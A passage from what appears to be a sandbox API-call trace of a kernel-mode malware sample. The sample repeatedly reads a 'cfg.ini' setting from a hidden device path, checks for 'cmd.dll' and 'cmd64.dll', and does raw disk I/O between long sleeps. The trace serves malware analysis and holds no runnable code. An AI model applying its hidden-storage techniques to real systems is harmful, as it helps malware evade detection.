_Str="cfg.ini", _MaxCount=0x10) returned 7 [0130.080] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0130.080] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0130.080] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0130.080] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003c07920 [0130.080] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.080] KeLeaveCriticalRegion () [0130.080] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0130.080] _snprintf (in: _Dest=0xfffff880028da780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.080] KeEnterCriticalRegion () [0130.080] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.080] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0130.080] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.080] KeLeaveCriticalRegion () [0130.080] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.080] KeEnterCriticalRegion () [0130.080] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.080] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0130.080] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0130.081] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0130.081] KeInitializeEvent (in: Event=0xfffff880028da620, Type=0x0, State=0 | out: Event=0xfffff880028da620) [0130.081] IdePortDispatch () returned 0x103 [0130.081] KeWaitForMutexObject () returned 0x0 [0130.081] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0130.081] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.081] KeLeaveCriticalRegion () [0130.081] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0130.081] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.081] KeEnterCriticalRegion () [0130.081] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.081] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002d1d000 [0130.081] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0130.081] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0130.081] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0130.081] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0130.081] IdePortDispatch () returned 0x103 [0130.081] KeWaitForMutexObject () returned 0x0 [0130.081] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0130.081] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0130.081] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0130.081] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0130.081] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0130.081] IdePortDispatch () returned 0x103 [0130.082] KeWaitForMutexObject () returned 0x0 [0130.082] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.082] KeLeaveCriticalRegion () [0130.082] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0130.082] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.082] KeEnterCriticalRegion () [0130.082] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.082] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0130.082] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.082] KeLeaveCriticalRegion () [0130.082] _snprintf (in: _Dest=0xfffff880028da750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.082] KeEnterCriticalRegion () [0130.082] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.082] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0130.083] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bfd290, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0130.083] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.083] KeLeaveCriticalRegion () [0130.083] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0130.083] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.083] KeEnterCriticalRegion () [0130.083] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.083] ExFreePoolWithTag (P=0xfffffa8003c07920, Tag=0x0) [0130.083] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.083] KeLeaveCriticalRegion () [0130.083] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0130.083] ReleaseMutex (hMutex=0xf0) returned 1 [0130.083] Sleep (dwMilliseconds=0x124f80) [0130.098] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0130.098] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0130.098] _snprintf (in: _Dest=0xfffff880028da450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.098] KeEnterCriticalRegion () [0130.098] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.098] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0130.098] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0130.098] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0130.098] KeInitializeEvent (in: Event=0xfffff880028da2c0, Type=0x0, State=0 | out: Event=0xfffff880028da2c0) [0130.098] IdePortDispatch () returned 0x103 [0130.099] KeWaitForMutexObject () returned 0x0 [0130.099] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0130.099] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0130.099] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0130.099] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0130.099] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0130.099] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003c08e10 [0130.099] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.099] KeLeaveCriticalRegion () [0130.099] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0130.099] _snprintf (in: _Dest=0xfffff880028da780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.099] KeEnterCriticalRegion () [0130.099] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.099] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0130.099] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.099] KeLeaveCriticalRegion () [0130.099] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.099] KeEnterCriticalRegion () [0130.099] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.099] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0130.099] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0130.099] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0130.099] KeInitializeEvent (in: Event=0xfffff880028da620, Type=0x0, State=0 | out: Event=0xfffff880028da620) [0130.099] IdePortDispatch () returned 0x103 [0130.099] KeWaitForMutexObject () returned 0x0 [0130.099] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0130.099] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.100] KeLeaveCriticalRegion () [0130.100] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0130.100] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.100] KeEnterCriticalRegion () [0130.100] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.100] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002d22000 [0130.100] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0130.100] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0130.100] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0130.100] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0130.100] IdePortDispatch () returned 0x103 [0130.100] KeWaitForMutexObject () returned 0x0 [0130.100] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0130.100] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0130.100] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0130.100] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0130.100] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0130.100] IdePortDispatch () returned 0x103 [0130.100] KeWaitForMutexObject () returned 0x0 [0130.100] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.100] KeLeaveCriticalRegion () [0130.100] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0130.101] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.101] KeEnterCriticalRegion () [0130.101] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.101] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0130.101] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.101] KeLeaveCriticalRegion () [0130.101] _snprintf (in: _Dest=0xfffff880028da750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.101] KeEnterCriticalRegion () [0130.101] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.101] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0130.101] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa800294c070, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0130.101] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.101] KeLeaveCriticalRegion () [0130.101] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0130.101] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.101] KeEnterCriticalRegion () [0130.101] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.101] ExFreePoolWithTag (P=0xfffffa8003c08e10, Tag=0x0) [0130.101] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.101] KeLeaveCriticalRegion () [0130.101] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0130.101] ReleaseMutex (hMutex=0xf0) returned 1 [0130.101] Sleep (dwMilliseconds=0x124f80) [0130.117] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0130.117] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0130.117] _snprintf (in: _Dest=0xfffff880028da450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.117] KeEnterCriticalRegion () [0130.117] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.117] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0130.117] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0130.117] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0130.117] KeInitializeEvent (in: Event=0xfffff880028da2c0, Type=0x0, State=0 | out: Event=0xfffff880028da2c0) [0130.117] IdePortDispatch () returned 0x103 [0130.117] KeWaitForMutexObject () returned 0x0 [0130.118] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0130.118] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0130.118] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0130.118] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0130.118] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0130.118] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bfd130 [0130.118] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.118] KeLeaveCriticalRegion () [0130.118] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0130.118] _snprintf (in: _Dest=0xfffff880028da780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.118] KeEnterCriticalRegion () [0130.118] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.118] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0130.118] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.118] KeLeaveCriticalRegion () [0130.118] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.118] KeEnterCriticalRegion () [0130.118] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.118] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0130.118] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0130.118] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0130.118] KeInitializeEvent (in: Event=0xfffff880028da620, Type=0x0, State=0 | out: Event=0xfffff880028da620) [0130.118] IdePortDispatch () returned 0x103 [0130.118] KeWaitForMutexObject () returned 0x0 [0130.118] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0130.118] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.118] KeLeaveCriticalRegion () [0130.118] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0130.119] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.119] KeEnterCriticalRegion () [0130.119] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.119] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002d27000 [0130.119] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0130.119] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0130.119] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0130.119] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0130.119] IdePortDispatch () returned 0x103 [0130.119] KeWaitForMutexObject () returned 0x0 [0130.119] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0130.119] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0130.119] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0130.119] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0130.119] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0130.119] IdePortDispatch () returned 0x103 [0130.119] KeWaitForMutexObject () returned 0x0 [0130.119] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.119] KeLeaveCriticalRegion () [0130.119] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0130.120] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.120] KeEnterCriticalRegion () [0130.120] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.120] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0130.120] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.120] KeLeaveCriticalRegion () [0130.120] _snprintf (in: _Dest=0xfffff880028da750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.120] KeEnterCriticalRegion () [0130.120] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.120] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0130.120] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa800294cf20, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0130.120] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.120] KeLeaveCriticalRegion () [0130.120] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0130.120] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.120] KeEnterCriticalRegion () [0130.120] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.120] ExFreePoolWithTag (P=0xfffffa8003bfd130, Tag=0x0) [0130.120] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.120] KeLeaveCriticalRegion () [0130.120] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0130.120] ReleaseMutex (hMutex=0xf0) returned 1 [0130.120] Sleep (dwMilliseconds=0x124f80) [0130.136] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0130.136] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0130.136] _snprintf (in: _Dest=0xfffff880028da450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.136] KeEnterCriticalRegion () [0130.136] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.137] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0130.137] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0130.137] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0130.137] KeInitializeEvent (in: Event=0xfffff880028da2c0, Type=0x0, State=0 | out: Event=0xfffff880028da2c0) [0130.137] IdePortDispatch () returned 0x103 [0130.137] KeWaitForMutexObject () returned 0x0 [0130.137] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0130.137] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0130.137] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0130.137] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0130.137] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0130.137] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bfd320 [0130.137] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.137] KeLeaveCriticalRegion () [0130.137] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0130.137] _snprintf (in: _Dest=0xfffff880028da780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.137] KeEnterCriticalRegion () [0130.137] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.137] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0130.137] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.137] KeLeaveCriticalRegion () [0130.137] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.137] KeEnterCriticalRegion () [0130.137] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.137] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0130.137] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0130.137] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0130.137] KeInitializeEvent (in: Event=0xfffff880028da620, Type=0x0, State=0 | out: Event=0xfffff880028da620) [0130.137] IdePortDispatch () returned 0x103 [0130.137] KeWaitForMutexObject () returned 0x0 [0130.138] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0130.138] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.138] KeLeaveCriticalRegion () [0130.138] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0130.138] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.138] KeEnterCriticalRegion () [0130.138] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.138] 